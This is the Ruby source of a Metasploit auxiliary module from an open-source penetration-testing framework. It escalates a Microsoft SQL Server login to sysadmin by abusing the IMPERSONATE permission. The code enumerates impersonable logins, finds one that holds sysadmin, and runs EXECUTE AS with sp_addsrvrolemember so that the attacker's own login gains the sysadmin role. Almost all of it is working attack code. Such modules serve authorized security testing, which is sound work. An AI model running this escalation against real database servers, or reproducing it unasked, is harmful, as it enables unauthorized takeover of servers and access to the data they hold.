Path: blob/master/modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::MSSQL7include Msf::OptionalSession::MSSQL89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Microsoft SQL Server Escalate EXECUTE AS',14'Description' => %q{15This module can be used escalate privileges if the IMPERSONATION privilege has been16assigned to the user. In most cases, this results in additional data access, but in17some cases it can be used to gain sysadmin privileges.18},19'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],20'License' => MSF_LICENSE,21'References' => [['URL', 'http://msdn.microsoft.com/en-us/library/ms178640.aspx']],22'Notes' => {23'Stability' => [CRASH_SAFE],24'SideEffects' => [IOC_IN_LOGS],25'Reliability' => []26}27)28)29end3031def run32if session33set_mssql_session(session.client)34else35print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")36if mssql_login_datastore37print_good('Connected.')38else39print_error('Login was unsuccessful. Check your credentials.')40disconnect41return42end43end4445# Query for sysadmin status46print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")47user_status = check_sysadmin4849# Check if user has sysadmin role50if user_status == 151print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")52disconnect53return54end5556print_status("You're NOT a sysadmin, let's try to change that.")5758# Get a list of the users that can be impersonated59print_status('Enumerating a list of users that can be impersonated...')60imp_user_list = check_imp_users61if imp_user_list.nil? || imp_user_list.empty?62print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')63disconnect64return65end6667# Display list of users that can be impersonated68print_good("#{imp_user_list.length} users can be impersonated:")69imp_user_list.each do |db|70print_status(" - #{db[0]}")71end7273# Check if any of the users that can be impersonated are sysadmins74print_status('Checking if any of them are sysadmins...')75imp_user_sysadmin = check_imp_sysadmin(imp_user_list)76if imp_user_sysadmin.nil?77print_error('Sorry, none of the users that can be impersonated are sysadmins.')78disconnect79return80end8182# Attempt to escalate to sysadmin83print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")84escalate_status = escalate_privs(imp_user_sysadmin[0])85if escalate_status86# Check if escalation was successful87user_status = check_sysadmin88if user_status == 189print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")90else91print_error('Fail buckets, something went wrong.')92end93else94print_error('Error while trying to escalate privileges.')95end9697disconnect98return99end100101# Checks if user is a sysadmin102def check_sysadmin103# Setup query to check for sysadmin104sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"105106# Run query107result = mssql_query(sql)108109# Parse query results110parse_results = result[:rows]111status = parse_results[0][0]112113# Return status114return status115end116117# Gets trusted databases owned by sysadmins118def check_imp_users119# Setup query120sql = "SELECT DISTINCT b.name121FROM sys.server_permissions a122INNER JOIN sys.server_principals b123ON a.grantor_principal_id = b.principal_id124WHERE a.permission_name = 'IMPERSONATE'"125126result = mssql_query(sql)127128# Return on success129return result[:rows]130end131132# Checks if user has the db_owner role133def check_imp_sysadmin(trust_db_list)134# Check if the user has the db_owner role is any databases135trust_db_list.each do |imp_user|136# Setup query137sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"138139# Run query140result = mssql_query(sql)141142# Parse query results143parse_results = result[:rows]144status = parse_results[0][0]145if status == 1146print_good(" - #{imp_user[0]} is a sysadmin!")147return imp_user148else149print_status(" - #{imp_user[0]} is NOT sysadmin!")150end151end152nil153end154155def escalate_privs(imp_user_sysadmin)156# Impersonate the first sysadmin user on the list157evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';158EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"159160mssql_query(evil_sql_create)161162true163end164end165166167